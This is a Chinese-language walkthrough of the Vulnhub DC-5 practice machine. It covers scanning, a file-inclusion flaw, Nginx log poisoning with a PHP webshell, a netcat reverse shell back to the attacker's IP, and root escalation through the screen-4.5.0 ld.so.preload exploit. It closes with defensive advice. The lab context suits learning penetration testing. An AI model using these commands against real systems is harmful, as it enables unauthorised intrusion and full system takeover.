Vulnhub DC-5 靶机渗透
字数 1346 2025-08-15 21:34:01
DC-5 靶机渗透教学文档
1. 信息收集阶段
1.1 网络扫描
- 使用
ifconfig获取 Kali Linux 的 IP 地址 - 使用
nmap扫描局域网设备:nmap -sn 192.168.0.0/24 - 发现 DC-5 靶机 IP 为 192.168.0.149
- 详细扫描靶机端口:
nmap -sV -A 192.168.0.149
1.2 Web 服务分析
- 发现 80 端口开放,访问后确认 CMS 为 Nginx
- 目录扫描:
- 使用
dirb或gobuster扫描网站目录 - 发现 contact 页面可提交表单
- 提交后跳转至 thankyou.php 页面
- 刷新页面发现底部日期变化
- 使用
1.3 路径爆破
- 使用
wfuzz进行路径爆破:wfuzz -w wordlist -w wordlist -u http://192.168.0.149/FUZZ=FUZ2Z - 过滤常见响应长度:
wfuzz -w wordlist -w wordlist --hh 851 -u http://192.168.0.149/FUZZ=FUZ2Z - 发现可利用参数:
file=footer.php
2. 漏洞利用
2.1 文件包含漏洞
- 使用 Burp Suite 拦截 contact 表单提交
- 修改
file参数进行测试:- 测试
/etc/passwd:确认存在文件包含漏洞 - 测试
/var/log/nginx/access.log:可读取日志文件
- 测试
2.2 日志注入攻击
- 在 Burp Suite 中注入 PHP 代码:
<?php phpinfo(); ?> - 确认日志中记录了 PHP 代码
- 修改为反弹 shell 代码:
<?php system($_GET['cmd']); ?>
2.3 获取反弹 shell
- 在 Kali 上设置监听:
nc -lvnp 4444 - 通过浏览器或 curl 访问包含恶意代码的日志文件并执行命令:
http://192.168.0.149/thankyou.php?cmd=nc -e /bin/sh 192.168.0.100 4444 - 获取 shell 后升级为交互式 shell:
python -c 'import pty; pty.spawn("/bin/bash")'
3. 权限提升
3.1 查找 SUID 文件
- 查找具有 SUID 权限的文件:
find / -perm -u=s -type f 2>/dev/null - 发现可疑文件:
screen-4.5.0
3.2 利用 screen 漏洞
- 搜索 screen-4.5.0 漏洞,发现 exploit 代码 (41154.sh)
- 将 exploit 分解为三个部分:
libhax.c- 编译为共享库rootshell.c- 编译为 rootshellrun.sh- 执行脚本
3.3 手动执行提权
- 编译 libhax.c:
gcc -fPIC -shared -ldl -o libhax.so libhax.c - 编译 rootshell.c:
gcc -o rootshell rootshell.c - 执行提权步骤:
cd /etc umask 000 screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" > ld.so.preload screen -ls /tmp/rootshell - 确认获得 root 权限
3.4 获取 flag
- 切换到
/root目录 - 查看 flag 文件内容
4. 知识点总结
4.1 信息收集
wfuzz路径爆破技术- 响应长度过滤技巧 (
--hh参数) - Nginx 日志文件默认位置
4.2 漏洞利用
- PHP 文件包含漏洞利用
- 日志文件注入攻击
- Nginx 日志文件特性
- 反弹 shell 技术
4.3 权限提升
- SUID 文件查找与分析
- screen 历史漏洞利用
- 手动编译和执行 exploit
- 共享库注入技术
4.4 其他
- Kali Linux 默认 web 目录:
/var/www/html - 交互式 shell 获取方法
- 渗透测试中脚本分析与修改技巧
5. 防御建议
- 及时更新软件版本,修复已知漏洞
- 限制文件包含功能,避免使用用户输入作为文件路径
- 设置适当的日志文件权限,防止写入恶意代码
- 定期检查系统 SUID 文件,移除不必要的特权
- 使用最小权限原则运行服务
- 实施输入验证和过滤,防止代码注入